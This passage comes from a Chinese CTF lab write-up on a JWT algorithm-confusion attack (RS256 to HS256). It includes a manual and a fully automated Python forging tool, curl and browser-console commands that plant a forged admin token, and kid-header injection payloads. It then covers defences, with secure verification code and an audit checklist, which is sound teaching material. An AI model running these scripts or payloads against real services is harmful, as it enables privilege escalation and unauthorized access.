13hmac.new(key_a.encode(), message, sha256).hexdigest()
14# 输出: 0f3c6eb2e84e14ed8bd5388232720edf...
15
16hmac.new(key_b.encode(), message, sha256).hexdigest() 
17# 输出: a9f9868398a7eb2bb0d5a1ec6f5e37de... # ❌ 完全不同

解决方案：

 1# 标准化公钥格式
 2def normalize_pem(pem_string):
 3 lines = pem_string.strip().split('\n')
 4 return '\n'.join(lines) # 确保每行之间只有一个换行符
 5
 6# 从 JWKS 转换时要保证格式一致
 7pem_str = public_key.public_bytes(
 8 encoding=serialization.Encoding.PEM,
 9 format=serialization.PublicFormat.SubjectPublicKeyInfo
10).decode('utf-8')
11
12# 标准化
13normalized_pem = normalize_pem(pem_str)

为什么 Burp Suite 的 JWT Editor 可以成功？

Burp Suite JWT Editor 工具的优势：

自动处理公钥格式
- 工具内部统一了公钥的存储和使用格式
- 不会因为换行符、编码问题导致签名失败
可视化操作
- 直接修改 JWT 的 Header 和 Payload
- 自动重新签名，无需手动处理 Base64 编码
内置算法混淆攻击
- 提供 “Sign with symmetric key” 功能
- 直接将 PEM 公钥转换为 HS256 密钥使用
避免时间戳问题
- 可以直接在当前有效的 token 上修改
- 保留原始的 iat 和 exp

手工攻击常见失败原因总结：

错误类型	表现	原因	解决方法
时间戳过期	302 重定向到 /login	使用了新的时间戳而非原始 token 的时间戳	先登录获取有效 token，提取时间戳
公钥格式不一致	302 重定向到 /login	换行符数量不同导致签名完全不同	标准化公钥格式（去除多余换行）
算法未修改	依然显示 user	Header 中 alg 仍为 RS256	确保修改为 HS256
Payload 未修改	依然显示 user	role 字段未改为 admin	确保 role: “admin”

调试技巧：

 1# 对比两个 JWT 的差异
 2def debug_jwt(jwt1, jwt2):
 3 parts1 = jwt1.split('.')
 4 parts2 = jwt2.split('.')
 5 
 6 print(f"Header 相同: {parts1[0] == parts2[0]}")
 7 print(f"Payload 相同: {parts1[1] == parts2[1]}")
 8 print(f"Signature 相同: {parts1[2] == parts2[2]}")
 9 
10 if parts1[0] == parts2[0] and parts1[1] == parts2[1]:
11 print("签名不同 → 密钥格式问题！")

这两个难点是本题的核心挑战，也是为什么很多人即使理解了算法混淆原理，仍然无法成功利用的原因。

解题思路

打开靶场就看到非常贴心的提示了登录用户名和密码

登录成功，仔细一看用户身份才是user就知道没有这么简单。

jwt就是找token，把token改成admin或者高权限的用户就可以。

复制token的值丢AI解析一下加密方式

 1// Header
 2{
 3 "alg": "RS256",
 4 "kid": "jwt-demo-key",
 5 "typ": "JWT"
 6}
 7
 8// Payload
 9{
10 "username": "user",
11 "role": "user",
12 "email": "user@example.com",
13 "exp": 1766196705,
14 "iat": 1766110305
15}

关键信息：

算法: RS256 (RSA 非对称加密)
当前角色: user
目标: 修改为 admin

直接F12控制台一把梭上去，哎，怎么不对？后来发现是时间戳问题，我因为做这个题的时候刚打开电脑，有点懒不想打开BP，想着一个区区JWT题，算一下加密解密的就行。然后因为前后抓包的时间戳不同就是改不了user为admin。虽然看了其他WP大佬们都用BP一顿操作就成功了，但是我懒。 BP抓包不会遇到这个问题因为BP现抓现改。

让AI给我搓了一个半自动脚本

 1"""
 2手工辅助版：提供登录后的 token，自动完成攻击
 3"""
 4
 5import base64
 6import json
 7import hmac
 8import hashlib
 9
10# ============= 手动配置 =============
11
12# 步骤1: 登录后，从响应的 Set-Cookie 中复制 token
13ORIGINAL_TOKEN = "eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsImV4cCI6MTc2NjE5OTI2NywiaWF0IjoxNzY2MTEyODY3fQ.FdzxFO9aMjhruABYTJ3OqBjYVgeMycDSGswFKkHN4KDFbP_fQjJcBMpHOQnWj5A3mPtyQRqYHemqUPQnWzXjvIdQygpWeA5z-ycIA40pCtRLLlcJ6xm2COXg1wfzNN0E-Yy2v8Q_PogIHFXxEuxMa4-ttiiKDSpwIlX06Lh58U5GqUW-6hUjIH9YrN10MBbh013eSooWLWvmvlqB25ZCNYMc9uGFnbq9kynpIrejbVRckYQaOxwU5pbzwedIJUFjbjrteWsCyGSkdSdbB89KiI_gtKuQHAJPqHLRNETXl1TVoI3oiojwEjk4CML3lay8oo5_e4SpfI6gHDTKXi3tmg"
14
15# 步骤2: 访问 /jwks.json 获取公钥，粘贴到这里
16PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
17MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAry7fD9dmGaehXB8hQRbv
18HzEySHYLw/E42O73Z//kod3J6OXOH2xOaaTHpUHnueF3jsy5XdK4+37J32fRlY+K
19bn2pJKeo2utj6Se984+R9XD8P+/ESmH+NRX60ZFVr38gjYO/H9FvtXM3dyEK1Evg
2040V6GmqT1fM2Q4GPPuQ9L1yt4j3vr2FM1MirOLODEOd3llY9QL0q2eOkkbvniKrM
21wwV9iEy9sPP5fnfCwJM+w8lir9MB06DquA/a+VanH2Ml9Yn9TjrVrNU5GEBgCrPe
22U10HbceGJBQ53TJZTbjPHU5aFe77RP5mY5gWqR1RHSvPIgP8FvTVTyBeB3ZNpGG3
23EwIDAQAB
24-----END PUBLIC KEY-----"""
25
26TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
27
28# ============= 自动处理 =============
29
30def b64url_encode(data):
31 if isinstance(data, dict):
32 data = json.dumps(data, separators=(',', ':')).encode()
33 encoded = base64.urlsafe_b64encode(data).decode()
34 return encoded.rstrip('=')
35
36def b64url_decode(data):
37 padding = 4 - len(data) % 4
38 if padding != 4:
39 data += '=' * padding
40 return base64.urlsafe_b64decode(data)
41
42# 从原始 token 提取时间戳
43payload_b64 = ORIGINAL_TOKEN.split('.')[1]
44payload = json.loads(b64url_decode(payload_b64))
45
46print("=" * 70)
47print("原始 Token Payload:")
48print(json.dumps(payload, indent=2))
49print("=" * 70)
50
51# 构造恶意 JWT
52header = {
53 "alg": "HS256",
54 "kid": "jwt-demo-key",
55 "typ": "JWT"
56}
57
58malicious_payload = {
59 "username": "user",
60 "role": "admin", # 修改为 admin
61 "email": "user@example.com",
62 "iat": payload['iat'],
63 "exp": payload['exp']
64}
65
66# 编码和签名
67header_b64 = b64url_encode(header)
68payload_b64 = b64url_encode(malicious_payload)
69message = f"{header_b64}.{payload_b64}".encode()
70signature = hmac.new(PUBLIC_KEY_PEM.encode(), message, hashlib.sha256).digest()
71signature_b64 = b64url_encode(signature)
72
73malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
74
75print("\n" + "=" * 70)
76print("恶意 JWT:")
77print("=" * 70)
78print(malicious_jwt)
79
80print("\n" + "=" * 70)
81print("一键 Curl 命令:")
82print("=" * 70)
83print(f'curl -v -H "Cookie: token={malicious_jwt}" {TARGET_URL}/profile')
84
85print("\n" + "=" * 70)
86print("Burp Suite 操作:")
87print("=" * 70)
88print("1. 拦截 GET /profile 请求")
89print("2. 在 Cookie 中将 token 替换为上面的恶意 JWT")
90print("3. Forward 请求")
91print("=" * 70)

需要BP抓包login的登录，然后再把login登陆后返回的token值放脚本里面计算，然后替换到profile的重放包里面，或者用curl命令一键获取，前提是和burp抓包的login的token值一样，并且需要先login，保证时间戳。

最终还是打开了BP，偷懒失败

还是懒，不想用BP的话就用curl构造一个

1curl -i -X POST "http://n68vwbq.haobachang.loveli.com.cn:8888/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d '{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}'

只要看到success的标志就是对的，然后手动复制token到上面的代码里面的token里面，/jwks.json 获取公钥后面就不用动了，公钥不会变。

或者打开F12复制登录后的token值到上面这个半自动脚本计算，然后再在控制台里面输入如下内容

1document.cookie="token=eyJhbGciOiJIUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NjYxMTI3OTEsImV4cCI6MTc2NjE5OTE5MX0.HolA-DkeY4T8zBuJ-V8Yoz8LiJ4D472Di-9rNhIF8W4;path=/";location.reload();

我还是不能放弃一键梭哈的诱惑，然后让AI帮我写了个全自动脚本，不过只适合于这一题，因为profile之类的路径是写死的。

 1"""
 2JWT 算法混淆攻击工具 (RS256 -> HS256)
 3支持自动模式和手动模式
 4"""
 5
 6import base64
 7import json
 8import hmac
 9import hashlib
 10import requests
 11import sys
 12import argparse
 13import re
 14
 15TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
 16
 17# ============= 工具函数 =============
 18
 19def print_banner():
 20 print("\n" + "=" * 80)
 21 print("JWT 算法混淆攻击工具 (RS256 -> HS256)")
 22 print("=" * 80 + "\n")
 23
 24def b64url_encode(data):
 25 if isinstance(data, dict):
 26 data = json.dumps(data, separators=(',', ':')).encode()
 27 elif isinstance(data, str):
 28 data = data.encode()
 29 encoded = base64.urlsafe_b64encode(data).decode()
 30 return encoded.rstrip('=')
 31
 32def b64url_decode(data):
 33 padding = 4 - len(data) % 4
 34 if padding != 4:
 35 data += '=' * padding
 36 return base64.urlsafe_b64decode(data)
 37
 38# ============= 公钥获取 =============
 39
 40def get_public_key_from_jwks(url):
 41 """获取公钥并修正换行符格式"""
 42 print(f"[*] 正在获取公钥: {url}/jwks.json")
 43 
 44 try:
 45 response = requests.get(f"{url}/jwks.json", timeout=10)
 46 response.raise_for_status()
 47 jwks = response.json()
 48 
 49 print(f"[+] 成功获取 JWKS\n")
 50 
 51 try:
 52 from cryptography.hazmat.primitives.asymmetric import rsa
 53 from cryptography.hazmat.primitives import serialization
 54 from cryptography.hazmat.backends import default_backend
 55 
 56 first_key = jwks['keys'][0]
 57 n = int.from_bytes(b64url_decode(first_key['n']), 'big')
 58 e = int.from_bytes(b64url_decode(first_key['e']), 'big')
 59 
 60 public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
 61 pem = public_key.public_bytes(
 62 encoding=serialization.Encoding.PEM,
 63 format=serialization.PublicFormat.SubjectPublicKeyInfo
 64 )
 65 
 66 pem_str = pem.decode('utf-8')
 67 
 68 # 标准化换行符格式
 69 lines = pem_str.strip().split('\n')
 70 normalized_pem = '\n'.join(lines)
 71 
 72 print(f"[+] 公钥转换成功")
 73 print("-" * 80)
 74 print(normalized_pem)
 75 print("-" * 80)
 76 print()
 77 
 78 return normalized_pem
 79 
 80 except ImportError:
 81 print("[!] 需要安装: pip install cryptography")
 82 sys.exit(1)
 83 
 84 except Exception as e:
 85 print(f"[!] 获取公钥失败: {e}")
 86 sys.exit(1)
 87
 88# ============= 登录和 Token 获取 =============
 89
 90def auto_login(url):
 91 """自动登录并获取 token"""
 92 print(f"[*] 正在自动登录: {url}/login")
 93 
 94 login_data = {
 95 "data": "aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"
 96 }
 97 
 98 headers = {
 99 "Content-Type": "application/json",
100 "User-Agent": "Mozilla/5.0"
101 }
102 
103 try:
104 response = requests.post(
105 f"{url}/login",
106 json=login_data,
107 headers=headers,
108 timeout=10
109 )
110 
111 print(f"[*] 响应状态码: {response.status_code}")
112 
113 # 从 Set-Cookie 中提取 token
114 token = None
115 if 'Set-Cookie' in response.headers:
116 set_cookie = response.headers['Set-Cookie']
117 match = re.search(r'token=([^;]+)', set_cookie)
118 if match:
119 token = match.group(1)
120 
121 if not token:
122 print(f"[!] 未能从响应中提取 token")
123 print(f"[!] 响应头: {response.headers}")
124 print(f"[!] 响应体: {response.text}")
125 return None, None
126 
127 print(f"[+] 成功获取 token\n")
128 
129 # 解码 payload
130 try:
131 payload_b64 = token.split('.')[1]
132 payload = json.loads(b64url_decode(payload_b64))
133 
134 print(f"[*] Token Payload:")
135 print(json.dumps(payload, indent=2))
136 print()
137 
138 return token, payload
139 
140 except Exception as e:
141 print(f"[!] Token 解码失败: {e}")
142 return None, None
143 
144 except Exception as e:
145 print(f"[!] 登录失败: {e}")
146 return None, None
147
148def manual_get_token(url):
149 """手动模式：引导用户输入 token"""
150 print(f"[*] 使用以下命令登录:\n")
151 
152 curl_cmd = f'curl -i -X POST "{url}/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d \'{{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}}\''
153 print(curl_cmd)
154 print("-" * 80)
155 print("\n请粘贴从响应中获取的 token:\n")
156 
157 token = input("Token: ").strip()
158 
159 if not token:
160 print("[!] Token 不能为空")
161 sys.exit(1)
162 
163 # 清理 token
164 if 'token=' in token:
165 token = token.split('token=')[1].split(';')[0].strip()
166 
167 if token.count('.') != 2:
168 print(f"[!] Token 格式错误")
169 sys.exit(1)
170 
171 try:
172 payload_b64 = token.split('.')[1]
173 payload = json.loads(b64url_decode(payload_b64))
174 
175 print(f"\n[+] Token 解码成功")
176 print(f"[*] 原始 Payload:")
177 print(json.dumps(payload, indent=2))
178 print()
179 
180 return token, payload
181 
182 except Exception as e:
183 print(f"[!] Token 解码失败: {e}")
184 sys.exit(1)
185
186# ============= JWT 生成 =============
187
188def create_malicious_jwt(public_key_pem, original_payload):
189 """生成恶意 JWT"""
190 header = {
191 "alg": "HS256",
192 "kid": "jwt-demo-key",
193 "typ": "JWT"
194 }
195 
196 malicious_payload = {
197 "username": "user",
198 "role": "admin",
199 "email": "user@example.com",
200 "iat": original_payload['iat'],
201 "exp": original_payload['exp']
202 }
203 
204 print(f"[*] 原始 role: {original_payload.get('role')}")
205 print(f"[*] 修改后 role: admin")
206 print(f"[*] 时间戳: iat={malicious_payload['iat']}, exp={malicious_payload['exp']}\n")
207 
208 # 编码
209 header_b64 = b64url_encode(header)
210 payload_b64 = b64url_encode(malicious_payload)
211 message = f"{header_b64}.{payload_b64}".encode()
212 
213 # 签名
214 signature = hmac.new(public_key_pem.encode(), message, hashlib.sha256).digest()
215 signature_b64 = b64url_encode(signature)
216 
217 malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
218 
219 print(f"[+] 恶意 JWT 生成成功!\n")
220 
221 return malicious_jwt
222
223# ============= 测试和攻击 =============
224
225def test_jwt(url, jwt_token):
226 """测试恶意 JWT"""
227 print(f"[*] 测试恶意 JWT...")
228 print("-" * 80)
229 
230 try:
231 response = requests.get(
232 f"{url}/profile",
233 cookies={'token': jwt_token},
234 timeout=10,
235 allow_redirects=False
236 )
237 
238 print(f"[*] 响应状态码: {response.status_code}\n")
239 
240 if response.status_code == 200:
241 print(f"[SUCCESS] ✓ 请求成功!\n")
242 
243 if 'admin' in response.text.lower():
244 print(f"[SUCCESS] ✓ 身份已提升为 admin!\n")
245 
246 if 'flag' in response.text.lower():
247 print(f"[SUCCESS] ✓ 找到 flag!\n")
248 
249 import re
250 flags = re.findall(r'flag\{[^}]+\}', response.text, re.IGNORECASE)
251 if flags:
252 print("=" * 80)
253 print(f"🚩 FLAG: {flags[0]}")
254 print("=" * 80 + "\n")
255 return True
256 else:
257 print(f"[*] 完整响应:\n{response.text}\n")
258 else:
259 print(f"[*] 响应片段:\n{response.text[:500]}\n")
260 
261 return True
262 
263 elif response.status_code == 302:
264 print(f"[FAILED] ✗ 重定向到: {response.headers.get('Location')}")
265 print(f"[FAILED] ✗ JWT 验证失败\n")
266 return False
267 
268 else:
269 print(f"[?] 未知响应: {response.status_code}")
270 print(f"{response.text[:300]}\n")
271 return False
272 
273 except Exception as e:
274 print(f"[!] 请求失败: {e}\n")
275 return False
276
277def print_usage_info(malicious_jwt, url):
278 """打印使用信息"""
279 print("=" * 80)
280 print("生成的恶意 JWT:")
281 print("=" * 80)
282 print(malicious_jwt)
283 print()
284 
285 print("=" * 80)
286 print("Curl 命令:")
287 print("=" * 80)
288 print(f'curl -v -H "Cookie: token={malicious_jwt}" {url}/profile')
289 print()
290 
291 print("=" * 80)
292 print("Burp Suite 操作:")
293 print("=" * 80)
294 print("1. 拦截 GET /profile 请求")
295 print("2. 替换 Cookie 中的 token")
296 print("3. Forward 请求")
297 print()
298 
299 print("=" * 80)
300 print("浏览器 Console:")
301 print("=" * 80)
302 print(f'document.cookie="token={malicious_jwt};path=/";location.reload();')
303 print("=" * 80 + "\n")
304
305# ============= 主函数 =============
306
307def auto_mode(url):
308 """自动模式"""
309 print("\n" + "=" * 80)
310 print("自动模式")
311 print("=" * 80 + "\n")
312 
313 # 步骤1: 获取公钥
314 print("[步骤 1/4] 获取公钥")
315 print("-" * 80)
316 public_key_pem = get_public_key_from_jwks(url)
317 
318 # 步骤2: 自动登录
319 print("[步骤 2/4] 自动登录")
320 print("-" * 80)
321 original_token, original_payload = auto_login(url)
322 
323 if not original_token:
324 print("[!] 自动登录失败，请使用手动模式")
325 sys.exit(1)
326 
327 # 步骤3: 生成恶意 JWT
328 print("[步骤 3/4] 生成恶意 JWT")
329 print("-" * 80)
330 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
331 
332 # 步骤4: 测试
333 print("[步骤 4/4] 测试攻击")
334 print("-" * 80)
335 success = test_jwt(url, malicious_jwt)
336 
337 # 输出使用信息
338 print_usage_info(malicious_jwt, url)
339 
340 if success:
341 print("[SUCCESS] ✓ 自动攻击成功!")
342 else:
343 print("[提示] 攻击未成功，请检查:")
344 print(" 1. Token 是否过期")
345 print(" 2. 使用 Burp Suite 手动验证")
346
347def manual_mode(url):
348 """手动模式"""
349 print("\n" + "=" * 80)
350 print("手动模式")
351 print("=" * 80 + "\n")
352 
353 # 步骤1: 获取公钥
354 print("[步骤 1/4] 获取公钥")
355 print("-" * 80)
356 public_key_pem = get_public_key_from_jwks(url)
357 
358 # 步骤2: 手动输入 token
359 print("[步骤 2/4] 获取有效 Token")
360 print("-" * 80)
361 original_token, original_payload = manual_get_token(url)
362 
363 # 步骤3: 生成恶意 JWT
364 print("[步骤 3/4] 生成恶意 JWT")
365 print("-" * 80)
366 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
367 
368 # 步骤4: 测试
369 print("[步骤 4/4] 测试攻击")
370 print("-" * 80)
371 success = test_jwt(url, malicious_jwt)
372 
373 # 输出使用信息
374 print_usage_info(malicious_jwt, url)
375 
376 if success:
377 print("[SUCCESS] ✓ 攻击成功!")
378 else:
379 print("[提示] 如果失败，请:")
380 print(" 1. 确认 token 未过期（重新登录）")
381 print(" 2. 使用 Burp Suite 手动验证")
382
383def main():
384 parser = argparse.ArgumentParser(
385 description='JWT 算法混淆攻击工具 (RS256 -> HS256)',
386 formatter_class=argparse.RawDescriptionHelpFormatter,
387 epilog='''
388使用示例:
389 自动模式: python3 %(prog)s --auto
390 手动模式: python3 %(prog)s --manual
391 指定 URL: python3 %(prog)s --auto --url http://target.com:8888
392 '''
393 )
394 
395 parser.add_argument(
396 '--auto',
397 action='store_true',
398 help='自动模式（自动登录获取 token）'
399 )
400 
401 parser.add_argument(
402 '--manual',
403 action='store_true',
404 help='手动模式（手动输入 token）'
405 )
406 
407 parser.add_argument(
408 '--url',
409 type=str,
410 default=TARGET_URL,
411 help=f'目标 URL（默认: {TARGET_URL}）'
412 )
413 
414 args = parser.parse_args()
415 
416 # 如果没有指定模式，显示帮助
417 if not args.auto and not args.manual:
418 parser.print_help()
419 print("\n[!] 请指定模式: --auto 或 --manual")
420 sys.exit(1)
421 
422 # 如果同时指定两个模式，报错
423 if args.auto and args.manual:
424 print("[!] 错误: 不能同时使用 --auto 和 --manual")
425 sys.exit(1)
426 
427 print_banner()
428 
429 try:
430 if args.auto:
431 auto_mode(args.url)
432 else:
433 manual_mode(args.url)
434 
435 except KeyboardInterrupt:
436 print("\n\n[!] 用户中断")
437 sys.exit(0)
438 except Exception as e:
439 print(f"\n[!] 错误: {e}")
440 import traceback
441 traceback.print_exc()
442 sys.exit(1)
443
444if __name__ == "__main__":
445 main()

漏洞修复/规避方法

一、漏洞本质理解

银行取款比喻（算法混淆攻击）

正常情况（RS256 —— 安全）

你去银行取钱
 ↓
【登录验证】
柜台：请签名（用你的私钥 = 你独特的签名技巧）
你：[签名]
柜台：核对笔迹... ✅ 是本人！
 ↓
【签发凭证】
行长用【私钥】在取款凭证（JWT）上签名
凭证内容：
 - 姓名：张三
 - 权限：普通用户（role: user）
 - 行长签名：[只有行长才能签]
 ↓
【验证取款】
保安验证凭证：
 - 用墙上的"行长签名样本"（公钥）验证
 - ✅ 确实是行长签的！放行！

算法混淆攻击（Algorithm Confusion）

黑客去银行
 ↓
【黑客也正常登录】
拿到一个真凭证（权限：普通用户）
 ↓
【回家篡改凭证】
黑客操作：
 1. 把 role 改成 admin
 2. 从墙上拿到“行长签名样本”（公钥，公开）
 3. 用这个公钥作为“印章材料”
 4. 在凭证上写明：alg = HS256
 ↓
【漏洞触发】
保安（有漏洞）：
 - “哦？你说用 HS256？”
 - “那我也用 HS256 算一下，哎一样，sir this way”
 - 用公钥作为 HMAC 密钥重新计算签名
 - 对比结果：✅ 一模一样

本质一句话总结：

黑客用“公钥”当成“对称密钥”签名服务端居然也照做了，真是傻的可爱

⚠️ 核心问题澄清

❌ 不是公钥泄露（公钥本来就该公开）
❌ 不是 RS256 被破解
❌ 不是 HS256 不安全

👉 真正的问题是：

服务端信任了客户端声明的算法（alg）

二、关键防御原则

1️⃣ 服务端必须强制指定算法（最重要）

永远不要信任 JWT Header 中的 alg 字段

❌ 错误示例（真实 CVE 场景）

1def verify_jwt_vulnerable(token):
2 header = decode_header(token)
3 algorithm = header['alg'] # ❌ 攻击者可控
4
5 if algorithm == 'RS256':
6 return verify_with_rsa(token, PUBLIC_KEY)
7 elif algorithm == 'HS256':
8 # ❌ 致命错误：公钥被当作 HMAC 密钥
9 return verify_with_hmac(token, PUBLIC_KEY)

攻击流程：

1攻击者：
2 alg = HS256
3 signature = HMAC(message, PUBLIC_KEY)
4
5服务端：
6 expected = HMAC(message, PUBLIC_KEY)
7
8signature == expected → ✅ 验证通过

✅ 正确示例（安全）

1def verify_jwt_secure(token):
2 EXPECTED_ALG = 'RS256'
3
4 header = decode_header(token)
5 if header.get('alg') != EXPECTED_ALG:
6 raise SecurityError("Algorithm mismatch")
7
8 return verify_with_rsa(token, PUBLIC_KEY)

⚠️ 工程级建议：

更推荐 完全不自行解析 Header，而是交给成熟 JWT 库一次性完成校验

2️⃣ 算法白名单，而不是黑名单

1jwt.decode(
2 token,
3 public_key,
4 algorithms=['RS256'] # 白名单
5)

⚠️ 重要修正说明：

HS256 本身不是不安全算法
但：
- 如果系统使用 RS256 / ES256
- 必须明确禁用 HS256
❌ 禁止在同一系统中混用对称 + 非对称算法

Never mix symmetric and asymmetric JWT algorithms in the same trust boundary

3️⃣ 明确禁用 `none` 算法

1FORBIDDEN_ALGORITHMS = ['none']

现代库通常已默认禁用，但不要依赖“默认安全”。

三、完整的安全 JWT 验证流程

 1def secure_jwt_verify(token, public_key):
 2 try:
 3 payload = jwt.decode(
 4 token,
 5 public_key,
 6 algorithms=['RS256'],
 7 audience='your-app-id',
 8 issuer='your-trusted-issuer.com'
 9 )
10
11 # 授权约束校验（不是防篡改）
12 if payload.get('role') not in ['user', 'admin', 'guest']:
13 raise SecurityError("Invalid role")
14
15 return payload
16
17 except jwt.ExpiredSignatureError:
18 raise SecurityError("Token expired")
19 except jwt.InvalidTokenError:
20 raise SecurityError("JWT validation failed")

⚠️ 说明修正：

JWT 一旦验证通过，payload 即不可被篡改
role 校验属于 授权逻辑（Authorization）

四、其他非常关键的攻击点

🔥 1. `kid` Header 注入攻击

危险示例：

1{
2 "alg": "RS256",
3 "kid": "../../../../../etc/passwd"
4}

或：

1"kid": "http://evil.com/key.pem"

防御原则：

kid 只能：
- 映射到服务端预定义 key-id
❌ 禁止：
- 文件路径
- URL
- 动态数据库查询

结论： kid 是仅次于 alg 的第二高危 Header 字段

🔥 2. JWT ≠ Session

JWT 不适合：
- 长期高权限
- 敏感操作
建议：
- 短期 JWT
- 二次校验
- 服务端状态控制

五、日志与监控

⚠️ 不要误判攻击类型：

1except jwt.InvalidTokenError:
2 logging.warning(
3 "JWT validation failed with unexpected algorithm or signature",
4 extra={"header": safe_decode_header(token)}
5 )

👉 实战中不一定能精确区分算法混淆

六、代码审计检查清单

是否显式指定算法白名单？
是否禁止混用对称 / 非对称 JWT？
是否禁用 none？
是否限制 kid 来源？
是否避免自行解析 Header？
是否将授权逻辑与 JWT 校验分离？
是否使用最新 JWT 库？

七、最终总结

JWT 算法混淆攻击的本质，并不是密码学失败，而是信任边界设计错误。

不可妥协的三条原则：

算法必须由服务端决定
密钥来源必须完全受控
JWT 只做身份，不做最终授权

一句话总结： JWT 的安全问题，99% 来自工程实现，而不是算法本身。

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

好靶场 on 静静的安全笔记

好靶场-致给李华的一封信-WP

致给李华的一封信

题目描述

解题思路

第一步：识别 Spam Mimic 隐写

第二步：识别 zlib 压缩并解压

第三步：识别格雷码并转换

自动化一键脚本

最终结果

解题链总结

知识点总结

Spam Mimic 隐写详解

它是什么？

原理：用文法来编码

关键概念：上下文无关文法（CFG）

编码过程（藏信息）

解码过程（取信息）

密码的作用

容量有多大？

安全性分析

类似技术横向对比

什么是格雷码

从转盘说起

格雷码的解决方案

为什么转换公式是 XOR？

那反过来怎么解码？

总结

好靶场-数字0的奇迹

解题过程

分析可用字符

构造执行命令

发散思路-不做0的姿势还有哪些(bushi)

1. 文件描述符类（带 0）

2. 带 $0 的变体

3. 分号/管道 + 0

4. Here-string / Here-doc（带 0）

5. 数组/切片相关（带 0）

6. 算术展开（带 0）

7.进程替换（如果支持）

总结可能的 payload

参考资料

好靶场-n8n-CVE-2026-21858+CVE-2025-68613

CVE-2025-68613 的进入方法

创建 Edit Fields(Set) 节点

或者创建exec节点直接执行命令（注意有没有权限）

CVE-2026-21858 的进入方法

方法一：使用浏览器完成JWT伪造（纯手动）

脚本化利用

搜索语法

Nuclei模板

批量测试脚本

🔗 参考资源

官方公告

技术分析

PoC/Exploit

好靶场-小王采购了一个发送验证码的工具-WP

漏洞发现过程

1. 初步分析

2. 验证码爆破

3. 命令注入测试

4. 尝试外带数据（失败）

5. 探测Web目录结构

6. 获取Flag

漏洞原因分析

防御建议

总结

Python反弹Shell

漏洞分析

关键代码（第26-27行）

漏洞原理

攻击流程

为什么需要 sleep？

漏洞利用示例

命令注入漏洞的发现思路

1. 初步怀疑阶段

2. 为什么首先想到用 sleep？

Sleep是命令注入测试的"黄金标准"

A. 盲注友好

B. 跨平台兼容